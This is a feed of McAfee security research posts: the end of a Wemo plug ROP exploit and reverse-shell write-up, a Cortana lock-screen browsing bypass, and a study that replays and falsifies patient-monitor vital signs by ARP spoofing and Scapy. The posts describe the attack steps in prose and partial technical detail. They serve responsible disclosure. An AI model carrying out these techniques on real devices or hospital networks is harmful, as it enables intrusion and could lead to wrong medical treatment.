We still face a major challenge: Only addresses comprising entirely ASCII characters can pass through the XML filter. This drastically limits the potential for finding usable gadgets. We used IDA to see where libc and system are loaded into memory, and found two implementations: in libuClibc-0.9.33.2.so at address 0x2B0C0FD4; and in libpthread-0.9.33.2.so at address 0x2AD104F4. However, neither of these addresses meet the requirements to pass through the XML filter. Thus even if we could create an ROP chain, we would not be able to send just the address for system in the packet.

Addresses with bad characters are not a new problem for exploit development. One of the most common bypasses is to use addition or subtraction ROP gadgets to create the required address in a register and call that register. Again, however, we face the limitation on which operands can be used for this addition or subtraction equation due to the XML filter.

After studying the memory layout, we discovered that libuClibc-0.9.33.2.so sits at a memory location with addresses that can bypass the XML filter. We were fortunate that this is a large library, providing a decent list of addresses, because it is the only library in such a space. With this discovery, the team created a tool to assist with the creation of this exploit. The tool pulls out all possible ROP gadgets with usable memory addresses and determines if an addition or subtraction equation could call one of the two system calls found in memory, using only the values that will bypass the filter. The address for system in libuClibc-0.9.33.2.so, 0x2B0C0FD4, did not have any usable operands. However, 0x2AD104F4 did. We found several “filter-proof” operands that when added together equaled 0x2AD104F4.

We employed our tool’s output for all possible ROP gadgets that bypass the filter to build an ROP chain, which uses an addition instruction to create the final address for system and stores it in $s0. After the addition, another gadget moves the address for system into $t9 and calls system. This final gadget also moves an address that can be controlled from the stack into the register holding the parameter for the system call. The entire ROP chain consists of only three gadgets, which easily fit in the stack space provided by the buffer overflow. 

 

Piecing everything together 

Earlier we discovered two attack techniques that can be used with this vulnerability: a write-what-where, and overwriting the return address on the stack. Each packet sent can use each technique once. To get a parameter to the system call, we must use write-what-where to place the parameter in a writable memory address and pass this address to system. Fortunately, this vulnerable application sets aside a large amount of writable memory that is never used, and in a range accessible to our limited set of addresses that bypass the filter. Unfortunately, the ROP chain that calls system requires the use of write-what-where to handle extra instructions in one of the ROP gadgets. This means that two packets are required to execute the exploit: one to write the parameter for system into memory, and a second to make the call to system. Thus it is important that the first packet exits cleanly and does not crash the program.

One way to execute cleanly is to use three well-placed pipes (“|”) inside the payload to stop writing and exit TokenParser at the appropriate time. It is also important to not overwrite the RA pointer so the program can continue normal execution after the packet is received. Then the second packet is sent containing the ROP chain calling system with the address of the parameter written by the previous packet. 

Payload 

With the discovery of a valid ROP chain that can call system, we must decide what system should call. Because system executes as root, we can gain complete control of the device. Our research has showed that the device has many Linux commands installed. We leveraged this earlier with wget to copy gdbserver to the device. An attacker could also call wget from system to download and execute any script. We explored further for installed applications and found NetCat, which could allow an attacker to write a script to create a reverse shell. An attacker could download a script using wget, and execute the script containing a NetCat command to create a reverse shell. We tested and proved this is one simple, effective method, opening a reverse shell as root. Attackers could choose many other methods to leverage this exploit and execute code. The following video demonstrates this exploit working with a reverse shell.

To illustrate, the team wrote an attack scenario. After the plug is compromised, it could use the built-in UPnP library to poke a hole in the network router. This hole creates a backdoor channel for an attacker to connect remotely, unnoticed on the network. In the following video, we used a remote shell to control a TCL smart TV connected to the network. The Roku API implementation on the TV uses simple unencrypted HTTP GET/POST requests to issue commands and does not authenticate the machine sending these commands, making remote control trivial. Using the Wemo as a middleman, the attacker can power the TV on and off, install or uninstall applications, and access arbitrary online content. Smart TVs are just one example of using the Wemo to attack another device. With the attacker having established a foothold on the network and able to open arbitrary ports, any machine connected to the network is at risk. Because attacks can be conducted through the Wemo and the port mappings generated using this exploit are not visible from the router’s administration page, the attacker’s footprint remains small and hard to detect.

Conclusion 

Discoveries such as CVE-2018-6692 underline the importance of secure coding practices on all devices. IoT devices are frequently overlooked from a security perspective; this may be because many are used for seemingly innocuous purposes such as simple home automation. However, these devices run operating systems and require just as much protection as desktop computers. A vulnerability such as we discovered could become the foothold an attacker needs to enter and compromise an entire business network.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through analysis and responsible disclosure, we aim to guide product manufacturers toward a more comprehensive security posture.

The post ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/feed/ 0
McAfee ePO Platform Gains Insight Into Threat Research https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/#respond Tue, 14 Aug 2018 21:49:25 +0000 https://securingtomorrow.mcafee.com/?p=90918 The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team.

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team. The Security Resources section of the McAfee ePO™ console Version 5.10.0 will contain multiple windows providing the latest news.

The first window in the section shows an updated list of the most recent threats research published by the McAfee Labs team. This includes both malware and vulnerability research. For example, this week we released a report that shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. We also include research related to new malware campaigns. All our content is mapped to the MITRE ATT&CK framework and includes all known indicators of compromise, as well as detailing how McAfee products protect against the documented campaign.

Top threats

The section includes a condensed version of the Threat Landscape Dashboard, which contains the top threats across exploit kits, campaigns, ransomware, and vulnerabilities. The following screen shows how the summary will appear in the McAfee ePO console, allowing readers to easily review and click through these threats for more detail.

The latest McAfee ePO console will offer an easy review of analysis gathered by McAfee Labs and the Advanced Threat Research team.

Top stories
Want to know more? The Top Stories section offers the latest information from McAfee news sources, including new product releases and new blog content (beyond threats analysis).

Support and product advisories

At the bottom right of the screen you will find Security Product Advisories:

  • Support Notification Service: McAfee SNS is a proactive notification service that allows McAfee to communicate critical information in a timely manner on product upgrades, releases, and end-of-life notices. SNS is a vital information link during critical incidents, providing you with the updates you need to ensure that your systems and organization are protected.
  • Product Security Bulletins: McAfee is focused on ensuring the security of our customers’ computers, networks, devices, and data. We are committed to rapidly addressing issues as they arise, and providing recommendations through security bulletins and knowledgebase articles.
  • McAfee Labs Security Advisories: These are a free notification service backed by our global research team. McAfee Labs Security Advisories map high-profile threats to the McAfee technologies that protect your environment.

What next?

You can expect the dashboard to evolve and provide more detail in future versions. Please let us know what you would like to see.

 

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/feed/ 0
Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/#respond Tue, 14 Aug 2018 17:31:48 +0000 https://securingtomorrow.mcafee.com/?p=90900 A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing.

The post Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 appeared first on McAfee Blogs.

]]>
A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing. In the first case, the attacker can force Microsoft Edge to navigate to an attacker-controlled URL; in the second, the attacker can use a limited version of Internet Explorer 11 using the saved credentials of the victim.

In June we published our analysis of a full login bypass mechanism for all Windows 10 devices for which Cortana is enabled on the lock screen. (This is still the default option.) The discovery of the full login bypass was part of a wider research effort into what access the digital assistant Cortana might offer to an adversary when the device is locked. This post details these two additional issues; we reported them to Microsoft at the same time we reported the login bypass. The two new flaws have now been addressed as part of Microsoft’s August update. Some of the issues are also partially mitigated by modifying the answer obtained from a Bing search query.

In the first scenario, a Cortana privilege escalation leads to forced navigation on a lock screen. The vulnerability does not allow an attacker to unlock the device, but it does allow someone with physical access to force Edge to navigate to a page of the attacker’s choosing while the device is still locked. This is not a case of BadUSB, man in the middle, or rogue Wi-Fi, just simple voice commands and interacting with the device’s touchscreen or mouse.

Several months ago, researchers from Israel demonstrated a similar attack using a BadUSB device, masquerading as a network interface card to inject content into trusted HTTP sites while using Cortana to force navigation. Microsoft has since removed this ability to navigate directly to a domain and instead now opens a search in Bing over HTTPS to the domain in question. Some of our findings could also be combined with a BadUSB approach.

We explored whether one could still force navigation to an attacker-controlled page. In short, yes, one can, but it does take some extra effort.

Cortana is very helpful when it comes to defining terms, or looking up corporations, movies, artists, or athletes. She can even do math. However, Cortana’s behavior and the answers she gives are affected by the way you ask a question. For example, if you were to ask the colloquial question “Hey Cortana, what is McAfee?” you would get a quick answer directly from a Bing search. If, however, you asked only “Hey Cortana, McAfee,” you would receive a more detailed response, including links to various trusted sites. These include Wikipedia, Twitter, Facebook, LinkedIn, and the “official website” (more later on this important link).

Cortana’s answers to similar but not identical queries about “McAfee.”

It is surprising that links are offered and clickable when the device is locked. If you start your favorite network sniffer or man-in-the-middle proxy, you will see that the links are visited as soon as the user clicks on them, irrespective of the device’s locked status.

This means we can force navigation to a website (though not yet the one we want) when the device is locked. However, we have seen that Cortana can be picky in how she offers results. Bing must already know these results, and most links are known trusted sites.

That leaves us with the official website. You might recognize this terminology: It is a common link presented by Wikipedia. If you look at the bottom of a Wikipedia article, you will often find a link to an official website.

Could Cortana just use Wikipedia as a trusted source? After a few delightful conversations with her, we can confirm that the official website for items she refers from Wikipedia is indeed the same as the Official Website link on Wikipedia. There is no one-to-one correlation on Wikipedia’s official website for Cortana to display the corresponding link. We assume there is some possible weighting of the domain name or logic in the Bing output that influences Cortana’s displayed links.

We can leverage this information to craft a fake Wikipedia entry, add enough content to get the review to succeed, add an official website link, and see what Cortana presents. Wikipedia reviewers do a pretty good job of vetting content, but we also need Bing to become aware of the entry so that Cortana could offer the answer and the link. Because of the time-dependent factor of the approach (and the ethical aspect of tampering with Wikipedia content in a malicious way), we decided to take a different path—although others could use this attack vector.

Instead of creating an entry in Wikipedia, making sure that Bing indexes it and that Cortana provides the official website link, we opted for an alternative. We can instead hunt Wikipedia for unmaintained or dead official website links. Fortunately for us, Wikipedia maintains a list of “dead links” and “permanent dead links.” A search for “Xbox Linux” looks like this:

To aid in our hunt, Wikipedia has a fairly robust search engine that accepts regular expressions.

With just a little bit of tinkering we come up with the following search:

insource:/\{official (website)?\|https?\:\/\/[^}]+\.com\/[^}]\}\}\{\{dead link/

This is neither an exhaustive list, nor the most efficient regular expression, but it does find some candidates without triggering the Wikipedia query timeout.

The next step is to write a script to parse the output, grab a list of domains, and check whether they are actually vacant. Many of them are still registered but do not serve any content; others are live despite the “dead link” tag. We end up with a list of domains, some more expensive than others, that are vacant.

What will Cortana display for each of these Wikipedia entries? One after another, we ask. Retrospectively, writing a text-to-speech script would have been faster. Cortana answers surprisingly well to other digital speech synthesizers.

Many of the entries do not provide the official website link, but some do. It is annoying that the way you ask the question interferes with the results. Not only is the phrasing of the question important; the decision of whether to dictate a word or spell it out may change the answer. To obtain the answer you want from Cortana, you may have to combine both approaches.

For example, we asked “Hey Cortana, what is Miss Aruba?” We saw, while the device was locked, the following answer:

The official website link points to “hxxp://www.missaruba.aw.” A quick search shows the domain is still available.

In conclusion, we now have Wikipedia articles for which Cortana will display an official website link, and for which the domain is available for purchase. After spending $11.99 for a cheaper domain, we own one.

Although it took some regular-expression authoring, some scripting, and buying a domain, this method was faster and more satisfying than waiting for Bing to publish and index a new Wikipedia entry.

After this setup, what can we accomplish? We can ask Cortana (either via the interactive icon or vocal command “Hey Cortana”) to conduct a search while the device is locked. When she replies, we can click on the official website link and observe as Edge retrieves the content while the device remains locked.  To put a malicious spin on this unauthorized access, we have at least one straightforward option. We could install the latest exploit kit on our newly acquired domain and infect any locked Windows 10 PC with Cortana enabled without ever logging in. This attack could occur at a coffee shop, retailer, bank, or against targeted individuals. This configuration is the default on Windows, and our research has shown that many users never disable Cortana from the lock screen.

Digital voice assistants can be useful, but they must also be considered an attack vector. Although some may think this is a “noisy” vector, not applicable when stealth is required, you can employ techniques such as the DolphinAttack, which uses inaudible voice commands to close an air gap. Or if you have physical access to the device, a $5 3.5mm-jack cable will do as well.

An inexpensive 3.5mm-jack cable for silent interaction.

How can we protect against this attack vector? You can disable Cortana on your lock screen. Microsoft should not allow navigation to untrusted websites until it receives permission from the authenticated user, confirming on login that the user wants to visit a site.

Self-service Internet Explorer from the Windows lock screen

When we investigate a technology, we sometimes find that our initial findings are less substantial than what we learn after further investigation. Our research into Cortana and this attack surface was no different. What if one could surf the web freely with a full-fledged browser such as Internet Explorer 11, with access to cached credentials and autocomplete on a locked Windows 10 device? All thanks to Cortana? That could be much more impactful than browsing to just one URL.

That is possible with Cortana’s skills. It makes sense that Cortana offers skills similar to those of Amazon’s Alexa or Google Assistant. But it does not make sense to offer these skills directly from the lock screen when they are not yet configured.

One example is the “Real Estate Search” skill. While conversing with Cortana to analyze the capabilities she could offer an attacker, we found that she occasionally offered to try skills, including Real Estate Search.

One easy trigger is to ask “Hey Cortana, I want to sell my house.” This leads to the following screen:

If we click “Real Estate Search,” we get a login screen. Instead of logging in, let’s look at the other links offered by the interface. In the current case, the “Privacy Policy” link seems interesting:

Cortana’s skill login screen with a link to Privacy Policy.

Opening the link, we see a lengthy policy. If we scroll to the bottom of the page, we discover a few social media icons:

Privacy policy screen with links to social media sites.

These icons are indeed links, allowing us to reach Facebook or YouTube, and from there the rest of the Internet:

Reaching Facebook from the lock screen of a Windows 10 system.

Let’s summarize. You left for lunch with your new Windows Surface Book locked on your desk. Cortana is on by default on your lock screen. Your disk is encrypted. What could go wrong?

Anybody who has physical access to your locked device can start browsing the web. What if someone were to navigate to a work-unfriendly website from your device, or post inflammatory comments in a public forum that could be attributed to your device’s IP address?

A device-specific attribution would be bad, but could you use the same method to post or access something from a real person’s name or account? We next investigated which browser is being used? Is it a Cortana custom browser? Is it a sandboxed Microsoft Edge? It is actually a customized Internet Explorer 11 restricted engine running in the context of AuthHost.exe. (We will publish another analysis on this limited “browser” because its properties and lack of security mechanisms could become handy for red teams.)

This is the Internet Explorer engine and not the full browser, though both JavaScript and cookies are enabled. Worse, this incarnation shares the autocomplete and credentials saved in the context of the current user’s Internet Explorer session.

Thus in addition to posting a comment on a public forum from another user’s device while the device is locked, you can also impersonate the user thanks to its cached credentials.

One potential attack scenario arises if a corporation offers a mechanism to reset Windows credentials via a web server but does not require users to reenter the old password. One could simply navigate to the reset link, input a new password, exit the limited navigator, and unlock the device with the newly set password, all from a locked computer.

We have explored a couple of attack scenarios and security issues in this post, and we will continue our investigation into Cortana and other digital assistants as an attack vector. Your best mitigation at this point is to turn off Cortana on the lock screen. Here is a good tutorial on how to do so.

 

The post Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/feed/ 0
80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/#respond Sun, 12 Aug 2018 00:00:03 +0000 https://securingtomorrow.mcafee.com/?p=90812

With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it. The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data.

The post 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals appeared first on McAfee Blogs.

]]>

The author thanks Shaun Nordeck, MD, for his assistance with this report.

With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it. The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data. McAfee’s Advanced Threat Research team is exploring these devices to increase awareness about their security.

Some medical devices, such as pacemakers and insulin pumps, have already been examined for security concerns. To help select an appropriate target for our research, we spoke with a doctor. In our conversations we learned just how important the accuracy of a patient’s vital signs is to medical professionals. “Vital signs are integral to clinical decision making” explained Dr. Shaun Nordeck. Bedside patient monitors and related systems are key components that provide medical professionals with the vital signs they need to make decisions; these systems are now the focal point of this research.

Exploring the attack surface

Most patient monitoring systems comprise at minimum of two basic components: a bedside monitor and a central monitoring station. These devices are wired or wirelessly networked over TCP/IP. The central monitoring station collects vitals from multiple bedside monitors so that a single medical professional can observe multiple patients.

With the help of eBay, we purchased both a patient monitor and a compatible central monitoring station at a reasonable cost. The patient monitor monitored heartbeat, oxygen level, and blood pressure. It has both wired and wireless networking and appeared to store patient information. The central monitoring station ran Windows XP Embedded, with two Ethernet ports, and ran in a limited kiosk mode at start-up. Both units were produced around 2004; several local hospitals confirmed that these models are still in use.

The two devices offer a range of potential attack surfaces. The central monitoring station operates fundamentally like a desktop computer running Windows XP, which has been extensively researched by the security community. The application running on the central monitoring station is old; if we found a vulnerability, it would likely be tied to the legacy operating system. The patient monitor’s firmware could be evaluated for vulnerabilities; however, this would affect only one of the two devices in the system and is the hardest vector to exploit. This leaves the communication between the two devices as the most interesting attack vector since if the communication could be compromised, an attack could possibly be device independent, affecting both devices by a remote attack. Given this possibility, we chose networking as the first target for this research. Dr. Nordeck confirmed that if the information passing to the central monitoring system could be modified in real time, this would be a meaningful and valid concern to medical professionals. Thus the primary question of our research became “Is it possible in real time to modify a patient’s vitals being transmitted over the network?”

Setup

When performing a vulnerability assessment of any device, it is best to first operate the device as originally designed. Tracking vital signs is the essence of the patient monitor, so we looked for a way to accurately simulate those signs for testing. Many hardware simulators are on the market and vary drastically in cost. The cheapest and easiest vital sign to simulate turned out to be a heartbeat. For less than $100 we purchased an electrocardiogram (ECG) simulator on eBay. The following image illustrates our test network:

In our test bed, the patient monitor (left), central monitoring station (right), and a research computer (top) were attached to a standard switch. The research computer was configured on a monitor port of the switch to sniff the traffic between the central monitoring device and the patient monitor. The ECG simulator was attached to the patient monitor.

Reconnaissance

With the network configured, we turned to Wireshark to watch the devices in action. The first test was to boot only the central monitor station and observe any network traffic.

In the preceding screenshot a few basic observations stand out. First, we can see that the central station is sending User Datagram Protocol (UDP) broadcast packets every 10 seconds with a source and destination port of 7000. We can also see clear-text ASCII in the payload, which provides the device name. After collecting and observing these packets for several minutes, we can assume this is standard behavior. Because the central station is running on a Window XP embedded machine, we can attempt to verify this information by doing some quick reverse engineering of the binaries used by the application. After putting several libraries into Interactive Disassembler Pro, it is apparent that the symbols and debugging information has been left behind. With a little cleanup and work from the decompilers, we see the following code:

This loop calls a function that broadcasts Rwhat, a protocol used by some medical devices. We also can see a function called to get the amount of time to wait between packets, with the result plugged into the Windows sleep function. This code block confirms what we saw with Wireshark and gives us confidence the communication is consistent.

Having gained basic knowledge of the central monitoring station, the next step was to perform the same test on the patient monitor. With the central station powered down, we booted the patient monitor and watched the network traffic using Wireshark.

We can make similar observations about the patient monitor’s broadcast packets, including the 10-second time delay and patient data in plaintext. In these packets we see that the source port is incrementing but the destination port, 7000, is the same as the central monitoring station’s.  After reviewing many of these packets, we find that offset 0x34 of the payload has a counter that increments by 0xA, or 10, with each packet. Without potentially damaging the patient monitor, there is no good way to extract the firmware to review its code. However, the central monitoring station must have code to receive these packets. With a bit of digging through the central station’s binaries, we found the section parsing the broadcast packets from the patient monitor.

The first line of code parses the payload of the packet plus 12 bytes. If we count in 12 bytes from the payload on the Wireshark capture, we can see the start of the patient data in clear text. The next function called is parse_logical_name, whose second parameter is an upper limit for the string being passed. This field has a maximum length of 0x20, or 32, bytes. The subsequent code handles whether this information is empty and stores the data in the format logical_name. This review again helps confirm what we see in real time with Wireshark.

Now that we understand the devices’ separate network traffic, we can look at how they interact. Using our network setup and starting the ECG simulator we can see the central monitor station and the patient monitor come to life.

With everything working, we again use Wireshark to examine the traffic. We find a new set of packets.

In the preceding screen capture we see the patient monitor at IP address 126.4.153.150 is sending the same-size data packets to the central monitoring station at address 126.1.1.1. The source port does not change.

Through these basic tests we learn a great deal:

  • The two devices are speaking over unencrypted UDP
  • The payload contains counters and patient information
  • The broadcast address does not require the devices to know each other’s address beforehand
  • When the data is sent distinct packets contain the waveform

Attacking the protocol

Our reconnaissance tells us we may have the right conditions for a replay attack. Such an attack would not satisfy our goal of modifying data in real time across the network; however, it would provide more insight about the requirements and may prove useful in reaching our goal.

After capturing the packets from the simulated heartbeat, we attempted to replay the captures using Python’s Scapy library. We did this with the patient monitor turned off and the central monitoring station listening for information. After several attempts, this test was unsuccessful. This failure shows the system expects more than just a device sending data packets to a specific IP address.

We examined more closely the packets that are sent before the data packets. We learned that even though the packets are sent with UDP, some sort of handshake is performed between the two devices. The next diagram describes this handshake. 

 

In this fanciful dialog, CMS is the central monitoring system; PM is the patient monitor.

To understand what is happening during the handshake, we can relate each phase of this handshake to that of a TCP three-way handshake. (This is only an analogy; the device is not actually performing a TCP three-way handshake.)

The central monitoring station first sends a packet to port 2000 to the patient monitor. This can be considered the “SYN” packet. The patient monitor responds to the central station; notice it responds to the source port of the initial request. This can be considered the “SYN,ACK.” The central station sends the final “ACK,” essentially completing a three-way (or three-step) handshake. Directly following this step, the patient monitor sends another packet to the initial port of the “SYN” packet. The central monitor responds to the patient monitor on port 2000 with a new source port. Immediately following, we see the data packets being sent to the new source port, 3627, named in the previous exchange.

This exam provides insight into why the replay attack did not work. The central station defines for each connection which ports will be open for the incoming data; we need to consider this when attempting a replay attack. Modifying our previous Scapy scripts to account for the handshake, we retested the replay attack. With the new handshake code in place, the test still failed. Taking another look at the “SYN,ACK” packets provides a potential reason for the failure.

At offset 0x3D is a counter that needs to be incremented each time one of these packets is sent. In this case the patient monitor’s source IP address is embedded in the payload at offsets 0x2A and 0x30. This embedded IP address is not as important for this attack because during the replay our scripts can become the patient monitor’s IP; however, this will become more important later. The newly discovered counter needs to be accounted for and incremented.

Emulating a patient monitor

By taking these new findings into account our replay attack becomes successful. If we can observe a certain ECG pattern, we can play it back to the central monitoring station without the patient monitor on the network. Thus we can emulate the function of the patient monitor with any device. The following video demonstrates this emulation using a Raspberry Pi. We set our Scapy scripts to load after booting the Pi, which mimics the idle function of the patient monitor. When the central monitor requests information about the patient’s vitals, the Pi provides the station with an 80-beats-per-minute wave form. This also works with the other vital signs.

Impact of emulation

Although we have not yet reached our goal of real-time modification, we must consider the implications of this type of attack. If someone were to unplug the monitor of a stable patient and replace it with a device that continued to report the same stable vitals, would that cause any harm? Probably not immediately. But what if the stable patient suddenly became unstable? The central station would normally sound an alarm to alert medical personal, who could take appropriate action. However, if the monitor had been replaced, would anyone know help was needed? The patient monitor also normally sounds alarms that might be heard in and outside of the patient’s room, yet if the monitor was replaced, those alarms would be absent.

In hospitals, nurses and other personal generally make periodic checks even of stable patients. So any deception might not last long, but it might not need to. What if someone were trying to kidnap a patient? A kidnapper would alert fewer people than would be expected.

Switching from a real patient monitor to an emulator would cause a short loss in communication from the patient’s room to the central monitoring station. Is this enough to make the scenario unrealistic or not a threat? We asked Dr. Nordeck if a short loss in connection could be part of a reasonable scenario. “A momentary disconnection of the ECG would likely go unnoticed as this happens often due to patient movement or changing clothes and, as long as it is reconnected, will be unlikely to cause an alert,” he said.

Modifying vitals in real time

Although emulating the patient monitor is interesting, it did not accomplish our goal of making real-time modifications. Using what we learned while testing emulation, could we perform real-time injection? To answer this question, we must first understand the difference between emulation and real-time injection.

Emulation requires a deeper understanding of how the initial connection, the handshake, between the two devices occurred. When considering real-time modification, this handshake has already taken place. But an attacker would not know which port the data packets are being sent too, nor any of the other ports used in the data stream. Plus, because the real patient monitor is still online, it will constantly send data to the central monitoring station.

One way to account for these factors is to use Address Resolution Protocol (ARP) spoofing. If the patient monitor is ARP spoofed, then the attacker, instead of the central monitoring station, would receive the data packets. This step would allow the attacker to determine which ports are in use and stop the patient monitor’s data from getting to the central monitoring station. Because we have already shown that emulation works, the attacker simply has to send replacement data to the central station while appearing as the patient monitor.

For example, consider the following original packet coming from the patient monitor:

The patient monitor sends a packet with the patient’s heartbeat stored at offset 0x71 in the payload. The patient monitor in this screen capture is at IP address 126.4.153.150. An attacker can ARP spoof the patient monitor with a Kali virtual machine.

The ARP packets indicate that the central station, IP address 126.1.1.1, is at MAC address 00:0c:29:a1:6e:bf, which is actually the Kali virtual machine. Wireshark recognizes two MACs with the same IP address assigned and highlights them, showing the ARP spoof.

Next the attacker from the virtual machine at address 126.4.153.153 sends false information to the central monitoring station, still at address 126.1.1.1. In this example, offset 0x71 has been changed to 0x78, or 120. (The attacker could choose any value; the following demo videos use the heartbeat value 180 because it is more alarming.) Also notice the IP address stored in the payload, which we discovered during the reconnaissance phase. It still indicates this data is coming from the original patient monitor address, which is different from the IP address on the packet’s IP header. Due to this implementation, there is no need for the attacker to spoof their IP address for the attack to be successful.

Two videos show this modification happening in real time:

 

Impact of real-time modification

Although the monitor in the patient’s room is not directly affected, real-time modification is impactful because medical professionals use these central stations to make critical decisions on a large number of patients—instead of visiting each room individually. As long as the changes are believable, they will not always be verified.

Dr. Nordeck explains the impact of this attack: “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications prescribed to control heart rhythm and/or prevent clots. The hospital could also suffer resource consumption.” Dr. Nordeck explained that short changes to a heartbeat would generally trigger the nurse or technician monitoring the central station to page a doctor. The doctor would typically ask for a printout from the central station to review the rhythm. The doctor might also order an additional test, such as an EKG, to verify the rhythm. An EKG, however, would not likely capture an abnormal rhythm if it is intermittent, but the test might reveal an underlying cause for intermittent arrythmia. Should the rhythm recur intermittently throughout the day, the doctor might make treatment decisions based on this erroneous printout.

The American Heart Association and American College of Cardiology publish guidelines that hospitals are to follow, including for “intermittent cardiac rhythms,” seen in this chart:

A decision tree for treating an intermittent heart rate. Source: American Heart Association.

The first decision point in this tree asks if the patient is hemodynamically stable (whether the blood pressure is normal). This attack does not affect the bedside monitor. A nurse might retake the patient’s blood pressure, which would be normal. The next decision point following the “Yes” path is a diagnosis of focal atrial tachycardia. Regardless of the medical terms and answers, the patient is issued medication. In the case of a network attack, this is medication the patient does not need and could cause harm.

Conclusion

This research from McAfee’s Advanced Threat Research team shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. For this attack to be viable, an attacker would need to be on the same network as the devices and have knowledge of the networking protocol. Any modifications made to patient data would need to be believable to medical professionals for there to be any impact.

During our research we did not modify the patient monitor, which always showed the true data; but we have proven the impact of an attack can be meaningful. Such an attack could result in patients receiving the wrong medications, additional testing, and extended hospital stays—any of which could incur unnecessary expenses.

Both product vendors and medical facilities can take measures to drastically reduce the threat of this type of attack. Vendors can encrypt network traffic between the devices and add authentication. These two steps would drastically increase the difficulty of this type of attack. Vendors also typically recommend that medical equipment is run on a completely isolated network with very strict network-access controls. If medical facilities follow these recommendations, attackers would require physical access to the network, greatly helping to reduce the attack surface.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through responsible disclosure we aim to assist and encourage the industry toward a more comprehensive security posture. As part of our policy, we reported this research to the vendor whose products we tested and will continue to work with other vendors to help secure their products.

The post 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/feed/ 0
Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/#respond Thu, 09 Aug 2018 13:00:14 +0000 https://securingtomorrow.mcafee.com/?p=90674 Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty?

The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

]]>
This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 

Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty? And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?  

From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.

Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them. North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.

This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries. Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.

Valuable context 

This article is too short to dig deeply into the history, politics, and economic changes of recent years. Nonetheless, we must highlight some events to put past and present cyber events into perspective.

